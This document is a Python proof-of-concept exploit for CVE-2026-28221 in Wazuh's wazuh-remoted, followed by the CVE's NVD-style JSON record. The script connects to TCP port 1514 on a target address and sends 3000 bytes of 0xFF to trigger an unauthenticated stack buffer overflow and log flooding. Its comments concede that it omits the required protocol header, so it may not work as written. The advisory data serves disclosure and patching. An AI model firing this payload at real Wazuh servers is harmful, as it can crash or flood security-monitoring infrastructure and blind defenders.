CVE-2026-28221

import socket # Target IP and Port target_host = '192.168.1.10' target_port = 1514 # Create a malicious payload # The bug is triggered by bytes >= 0x80 (e.g., 0xFF) due to sign extension # Sending a large packet to trigger the overflow in the hex dump path payload = b'\xFF' * 3000 try: # Connect to the wazuh-remoted service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Send the payload # Note: The protocol requires a specific header format to reach the vulnerable path, # but the oversized payload itself usually triggers the diagnostic path. s.send(payload) print("Payload sent successfully.") s.close() except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-28221", "sourceIdentifier": "[email protected]", "published": "2026-04-29T19:16:23.047", "lastModified": "2026-04-30T20:34:42.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.8.0 to before version 4.14.4, a stack-based buffer overflow exists in print_hex_string() in wazuh-remoted. The bug is triggered when formatting attacker-controlled bytes using sprintf(dst_buf + 2*i, \"%.2x\", src_buf[i]) on platforms where char is treated as signed and the compiled code sign-extends bytes before the variadic call. For input bytes such as 0xFF, the formatting can emit \"ffffffff\" (8 chars) instead of \"ff\" (2 chars), causing an out-of-bounds write past a fixed 2049-byte stack buffer. The vulnerable path is reachable remotely prior to any agent authentication/registration logic via TCP/1514 when an oversized length prefix causes the “unexpected message (hex)” diagnostic path to run. Additionally, the same unauthenticated oversized-message diagnostic path logs an attacker-controlled hex dump to /var/ossec/logs/ossec.log for each trigger, allowing remote log amplification that can degrade monitoring fidelity and consume disk/I/O. This log amplification is reachable even without triggering the sign-extension overflow (e.g., using bytes < 0x80). This issue has been patched in version 4.14.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8.0", "versionEndExcluding": "4.14.4", "matchCriteriaId": "DB572FD1-FC2F-4F4E-AEF4-2B03B1725B74"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/releases/tag/v4.14.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-q9vv-7w4c-f4cm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-q9vv-7w4c-f4cm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}